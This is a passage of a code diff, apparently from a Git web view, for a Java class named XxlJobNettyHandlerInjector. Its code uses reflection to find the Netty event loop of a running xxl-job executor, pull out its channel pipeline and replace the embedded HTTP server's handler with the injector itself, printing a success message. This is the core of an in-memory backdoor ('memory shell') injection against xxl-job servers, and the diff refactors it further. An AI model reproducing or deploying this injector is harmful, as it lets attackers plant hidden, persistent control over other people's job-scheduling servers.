target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor");
|
||||
if (target.getClass().getName().endsWith("NioEventLoop")) {
|
||||
HashSet<?> set = (HashSet<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
|
||||
if (!set.isEmpty()) {
|
||||
Object keys = set.toArray()[0];
|
||||
Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");
|
||||
Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");
|
||||
setFieldValue(embedHttpServerHandler, "childHandler", this);
|
||||
System.out.println("xxl-job NettyHandler inject successful");
|
||||
break;
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
if (thread == null
|
||||
|| !thread.getName().contains("nioEventLoopGroup")) {
|
||||
continue;
|
||||
}
|
||||
Object target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor");
|
||||
if (target.getClass().getName().endsWith("NioEventLoop")) {
|
||||
HashSet<?> set = (HashSet<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
|
||||
Object keys = set.toArray()[0];
|
||||
return getFieldValue(getFieldValue(keys, "attachment"), "pipeline");
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public void inject(Object pipeline) throws Exception {
|
||||
Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");
|
||||
setFieldValue(embedHttpServerHandler, "childHandler", this);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -160,4 +175,19 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
|
||||
final Field field = getField(obj.getClass(), fieldName);
|
||||
field.set(obj, value);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user